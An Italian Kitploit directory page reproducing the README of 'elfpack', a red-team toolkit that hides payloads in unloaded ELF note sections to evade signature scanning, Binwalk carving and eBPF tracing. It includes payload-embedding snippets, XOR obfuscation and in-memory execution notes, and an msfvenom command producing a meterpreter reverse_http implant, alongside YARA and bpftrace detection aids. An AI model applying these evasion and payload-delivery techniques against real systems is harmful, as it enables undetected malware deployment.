Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
elfpack — Toolkit di docking per sezioni di binari ELF per la consegna di payload senza stadio, che consente l'attaccamento del payload sul campo, l'elusione delle firme e la resistenza al caricamento statico/dinamico tramite manipolazione personalizzata delle sezioni ELF. | Kitploit
Strumenti/GitHubGitHub/dsnezhkov/elfpack
Generazione di PayloadExploitAnalisi MalwarePenetration TestingAnalisi di BinariRed TeamingSviluppo Payload
GitHubdsnezhkov/elfpack

elfpack

Toolkit di docking per sezioni di binari ELF per la consegna di payload senza stadio, che consente l'attaccamento del payload sul campo, l'elusione delle firme e la resistenza al caricamento statico/dinamico tramite manipolazione personalizzata delle sezioni ELF.

Vedi Repository
51104 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

ElfPack: Aggancio di sezioni ELF per la consegna di payload senza stadi

Punti salienti

  • Panoramica dei meccanismi di bundling del payload: compilazione, linking e caricamento.
  • Compatibilità binaria e creazione di payload debolmente accoppiati al loro meccanismo di consegna.
  • Evitare il caricamento automatico in memoria delle sezioni.
  • Utilizzo di tipi di sezione strutturati.
  • Riaggancio del payload sul campo ai loader tramite sezioni ELF. Porta il tuo payload.
  • Evasione delle firme con sezioni ELF precompilate staccate.
  • Allegati payload drive-by ai loader con pipeline di generazione payload.
  • Creazione di binari payload grassi e caso per evitare i packer binari.
  • Impacchettamento di payload complessi.
  • Opzioni di offuscamento del payload e protezione delle chiavi.
  • Resistenza al tracciamento del caricamento del payload statico e dinamico. Binwalk ed eBPF.

Incorporamento dei payload

Inclusione esadecimale-binaria con compilazione e linking

  1. Direttamente nella sezione dati predefinita o nel testo: Normalmente, il compilatore posiziona gli oggetti che genera in sezioni come .data.

payload.h:

root@kitploit:~
const data[3432] = {
    0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
    ...
    0x00, 0xff, 0x23 
};

Ottenuto manualmente o con strumenti come bin2c o xxd -i payload.bin > payload.h con ulteriore inclusione dell'header.

Memorizzare i payload in .text e .data in modo generico è anche una cattiva idea a causa della facilità di tracciamento del caricamento e dell'introspezione delle semantiche comportamentali del caricamento dei dati per l'esecuzione.

  1. In una sezione separata. Puoi posizionare i dati del payload in sezioni aggiuntive, o hai bisogno che alcune variabili particolari appaiano in sezioni speciali. Questo si ottiene con un meccanismo dipendente dal compilatore. In gcc, si fa tramite __attribute__. Questo è un po' meglio ma ancora ben tracciabile a causa di come viene creato e caricato l'ELF.
root@kitploit:~
char stack[10000] __attribute__ ((section ("binstack"))) = { 
    0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
    ...
    0x00, 0xff, 0x23 };
int init_data __attribute__ ((section ("bindata"))) = 0;

main()
{
    /* Inizializza il puntatore dello stack */
    init_sp (stack + sizeof (stack));

    /* Inizializza i dati inizializzati */
    memcpy (&init_data, &data, &edata - &data);
}
  1. Inclusione binaria tramite linker

Una direttiva simile a .incbin dipendente dall'assembler può creare una sezione e incorporare un payload. Es: gcc -c payload.s o ld -r -b payload.bin -o payload.o

root@kitploit:~
.section .bindata

.global payload_start
.type payload_start, @object

.section .binddata
.balign 64

payload_start:
    .incbin "payload.bin"
    .balign 1
payload_end:
    .byte 0

Con ulteriore recupero nel loader come:

root@kitploit:~
int main(void) {
    extern uint8_t payload_start;
    uint8_t *ptrPayload = &payload_start;
    ...
}

Nota: Possiamo includere un ELF completamente funzionale in payload.bin, cosa importante quando si tratta di creare binari "grassi", contenenti elementi di diversi toolkit.

Nota:: Esistono strumenti più ergonomici per svolgere il compito, come INCBIN di @graphitemaster [link]

Una variazione sul tema è ASM inline come segue:

root@kitploit:~
/* Dati immagine grezzi per tutte le immagini incorporate */
 #undef EMBED
 #define EMBED( _index, _path, _name )                                   \
         extern char embedded_image_ ## _index ## _data[];               \
         extern char embedded_image_ ## _index ## _len[];                \
         __asm__ ( ".section \".rodata\", \"a\", " PROGBITS "\n\t"       \
                   "\nembedded_image_" #_index "_data:\n\t"              \
                   ".incbin \"" _path "\"\n\t"                           \
                   "\nembedded_image_" #_index "_end:\n\t"               \
                   ".equ embedded_image_" #_index "_len, "               \
                         "( embedded_image_" #_index "_end - "           \
                         "  embedded_image_" #_index "_data )\n\t"       \
                   ".previous\n\t" );
 EMBED_ALL
 
 /* Strutture immagine per tutte le immagini incorporate */
 #undef EMBED
 #define EMBED( _index, _path, _name ) {                                 \
         .refcnt = REF_INIT ( ref_no_free ),                             \
         .name = _name,                                                  \
         .data = ( userptr_t ) ( embedded_image_ ## _index ## _data ),   \
         .len = ( size_t ) embedded_image_ ## _index ## _len,            \
 },
 static struct image embedded_images[] = {
         EMBED_ALL
 };
 

Nota: Nota PROGBITS nella definizione di una sezione, sarà importante.

L'inclusione binaria del payload basata su compilatore/linker non è ideale

Ci sono compromessi:

  • Il processo di incorporamento è strettamente accoppiato alla creazione del loader del payload.
  • Cosa succede per i cambiamenti di formato del payload?
  • Per impostazione predefinita, le sezioni che trasportano dati hanno il flag PROGBITS impostato e verranno caricate in memoria dal loader del sistema operativo per impostazione predefinita. Potremmo non volere questo.

Rappresentazione su disco/memoria di una sezione ELF

Diagramma ELF PROGBITS

Il tipo di sezione e i flag impostati sulla nuova sezione che la contiene determinano se il loader del sistema operativo la carica in memoria all'avvio dell'eseguibile. Alcune sezioni vengono caricate automaticamente per impostazione predefinita, altre no (es. .symtab, .strtab)

Dal punto di vista offensivo, quali efficienze possiamo ottenere da questo?

Incorporamento dei payload: seconda versione

  1. Possiamo evitare di impostare flag sulle sezioni che presuppongono il caricamento predefinito in memoria.

  2. Possiamo utilizzare un tipo diverso di sezione che non carica in memoria.

Un fornitore o un ingegnere di sistema potrebbe aver bisogno di contrassegnare un file oggetto con informazioni speciali che altri programmi possono verificare per conformità o compatibilità. Le sezioni di tipo SHT_NOTE e gli elementi di programma header di tipo PT_NOTE possono essere utilizzati per questo scopo.

In quest'ultimo caso, possiamo vedere l'uso di questo tipo di sezione nei binari di sistema:

root@kitploit:~
$ readelf --sections /bin/tar | grep NOTE
  [ 2] .note.gnu.bu[...] NOTE             00000000000002c4  000002c4
  [ 3] .note.ABI-tag     NOTE             00000000000002e8  000002e8

E possiamo ispezionarne il contenuto:

root@kitploit:~
$ readelf -p .note.ABI-tag /bin/tar

String dump of section '.note.ABI-tag':
  [     c]  GNU

Il risultato finale della creazione di una sezione SHT_NOTE apparirà così nell'ELF: SHT_NOTE

Bonus: SHT_NOTE ci fornisce una struttura se ne abbiamo bisogno (e la useremo ulteriormente):

Struttura SHT_NOTE

Aggancio di sezioni ELF

Finora siamo stati in grado di creare una sezione, evitando di caricarla in memoria da parte del loader del sistema operativo. La sezione è effettivamente dormiente nell'immagine ELF in questo momento. Discuteremo come caricarla un po' più tardi. Tuttavia, una domanda più pressante è il fatto che stiamo ancora operando a livello di compilatore e linker, e la sezione è un oggetto che viene intrecciato nella struttura dell'ELF finale, creando relazioni e indirizzi di memoria dal codice del loader che fa riferimento al suo contenuto.

Oggetto sezione ELF

Cosa succederebbe se fossimo in grado di creare una sezione ELF con un payload incorporato al di fuori del flusso di lavoro di compilazione del loader, e allegare quella sezione in un secondo momento al binario del loader?

Questo romperebbe la relazione del codice del loader con l'interazione della sezione. Poi insegniamo al loader come trovare e caricare la sua sezione dati esterna, "agganciando" efficacemente un payload a un loader in modo debolmente accoppiato.

Concettualmente, i nostri obiettivi sarebbero:

  • Il loader non dovrebbe essere intrecciato con la semantica del payload.
  • Caricare ed eseguire il payload:
    • Senza modificare affatto il codice del loader?
    • Senza utilizzare il loader del sistema operativo ld.so (ELF loader) che carica automaticamente i segmenti del payload in memoria.
  • Riaggancio del payload sul campo.

La relazione loader/payload (in sezione) ora apparirebbe così:

Relazione Loader/Payload

Possiamo quindi creare un injector che introdurrà una sezione payload al loader senza che nessuno dei due operi a livello di codice, solo compatibilità binaria (e il loader che sa come caricare qualsiasi sezione payload)

Injector ELF

Alcuni risultati da tale configurazione generica di aggancio di sezioni ELF:

  1. Un caricatore ELF statico può essere quindi distribuito da solo, privo di payload, solo con meccanismi per caricare una sezione su richiesta e avviare il payload da essa.

  2. Il payload può essere impacchettato separatamente e raggruppato con il loader in qualsiasi momento come stadio statico, o in un secondo momento con un injector. Il payload può spesso essere crittografato, spesso essere esso stesso un eseguibile ELF se necessario, purché il loader conosca non la struttura del payload ma solo le sue capacità di impacchettamento.

  3. L'injector può intermediare l'allegato di sezioni da diversi binari (stadi dormienti) per costruire una sezione e iniettarla nel loader.

  4. Ci sono vantaggi nella costruzione a livello di sezione rispetto all'impacchettamento di più risorse in un eseguibile. Non c'è sovraccarico di rilevamento per l'elaborazione e il codice del packer. Ci sono vantaggi nel portare più sezioni con altri strumenti che si affidano al lancio in memoria e non possono essere facilmente impacchettati a causa di come i packer devono estrarre i binari nel filesystem. (Sezione binari grassi ulteriormente)

Componenti dell'aggancio ELF:

Discutiamo i componenti dell'aggancio di sezioni ELF in maggiore dettaglio.

Injector ELF sezionale:

Disposizione: posteriore o sul campo Vantaggi:

  • Proxy loader-agnostico al payload
  • Pipeline di generazione payload semplificata
  • Allegato payload sul campo al loader senza compilatori se necessario

Loader ELF sezionale:

Disposizione: sul campo Vantaggi:

  • Agnostico al payload allegato
  • Carica ELF completi o shellcode (più possibilità) leggendo e analizzando il proprio binario.
  • Se hai bisogno di shellcode, puoi creare un ELF eseguibile (es. Metasploit's mettle)
  • Il tracciamento non vede mprotect()’s
  • Separazione airgapped tra dove si trova il payload e i normali array .DATA.
  • Questo raggiunge l'astrazione per i tracciatori.
  • Capacità di accettare e inoltrare argomenti ai payload stessi.

Payload binario:

Vantaggi:

  • Il payload è un programma completamente funzionale con meno vincoli, dati, segmenti LDD intatti.
  • Può essere offuscato in modo univoco senza riguardo allo spazio (i record .NOTE hanno dimensione variabile)
  • Può essere estratto nel FS o eseguito come parte di un indice (caricatori di payload grassi).
  • Non ha bisogno di essere rilocato, può essere concatenato ad altri loader.
  • Esempio di aggancio incrociato ed evasione del rilevamento: il Loader A legge il payload del Loader B.

Opportunità di evasione

Rafforzamento dell'injector/packer ELF sezionale:

  • Payload XORato ma AES può essere implementato.
  • Metadati della chiave XOR memorizzati in watermark fuori banda.
  • Le chiavi XOR non vengono divulgate.
  • Offuscamento aggiuntivo dei dati XORati possibile.

Rafforzamento del loader ELF:

  • Payload XORato predefinito, ma AES può essere implementato.
  • I metadati della chiave XOR vengono estratti in watermark fuori banda.
  • Separazione del tempo di avvio del loader != tempo di caricamento del payload se necessario.
  • Facilità di demoneizzazione (capacità di lavorare con userland exec e memfd_create)
  • Possibilità di evasione per il calcolo dell'entropia del payload e anti-carving: Binwalk non vede il payload per impostazione predefinita, non può fare carving (esempio nella demo: impacchettamento del payload msfvenom'd)

Discussione sul loader specifico del toolkit di aggancio di sezioni ELF:

Qualche parola sul loader sezionale ELF che lavora con il launcher del payload:

Il loader può utilizzare uno di due meccanismi di esecuzione del payload in memoria:

  • Opzione A : SYS_Memfd_create ()

    • Fatto con libreflect[]link] ma può essere fatto con zombieant pre-loader[link]
    • Più rilevabile a livelli: j file anonimo in /proc/self/fd/
      • usa sys_memfd_create (syscall #319)
    • Fa fork/exec, il tracciamento BPF per execve() registrerà.
  • Opzione B: User land Exec (https://grugq.github.io/docs/ul_exec.txt)

    • Fatto con libreflect per ora. Interfaccia gradevole.
    • Svuota il loader e lo sovrappone con il payload.
    • Nessuna chiamata sys_enter_exec /sys_exit_exec. Il tracciamento BPF per execve() non cattura
    • Svantaggio: non puoi demoneizzare tramite loader (la memoria del loader è kaput sulla sovrapposizione) ma il payload può demoneizzarsi quando viene lanciato: la bellezza di distribuire binari ELF rispetto alla distribuzione di shellcode 

Flusso di lavoro in esecuzione: Injector ELF Injector ELF

Opportunità di evasione di Binwalk dopo il payload sezionale ELF vs. payload MSF: Injector ELF

Evasione eBPF vs. packer sezionale ELF: Injector ELF

Strumenti di rilevamento:

Verificatore YARA e test: Injector ELF

Injector ELF

Definizione dello strumento STIX:

Injector ELF

Costruire ELFPack POC

  • Per Cmake: prima della build pulita esegui: cmake --configure . per configurare il tuo ambiente di build. Supportiamo CMAke 3.18 al momento.
  • ./build.sh

Dipendenze ELFPack:

  • Usiamo la libreria libreflect per questo POC da https://github.com/rapid7/mettle
  • viene costruita per te e distribuita sotto vendor/lib/reflect/libreflect.a ma può essere ricostruita dal repo originale se necessario.
  • Runtime: Se vuoi giocare con BPF e bpftrace, installa gli header del kernel appropriati per la tua distribuzione.

Utilizzo

  • Frontend: Vedi run.sh
  • Backend: Questo PoC opera con l'impianto mettle metasploit quindi per catturare il tuo traffico sul server MSF useresti un file RC aux/msfrc in questo modo:
root@kitploit:~
msfconsole -r aux/triage/msfrc
  • Il payload MSF (mettle) può essere generato come segue:
root@kitploit:~
msfvenom -p linux/x64/meterpreter_reverse_http LHOST=127.0.0.1 LPORT=4443  -f elf > ../elfpack_staging/mettle-shell.elf
  • Il tracciamento BPF può essere fatto come segue (necessita di root):
root@kitploit:~
sudo bpftrace aux/triage/elfpack_BPF_snoop_rules.bt
  • Esempio di integrazione YARA tramite binding Python può essere visto in aux/triage/elfpack_yar.py
root@kitploit:~
./aux/triage/elfpack_yar.py <path/to/elf/file> [elf_section]
Scarica lo strumento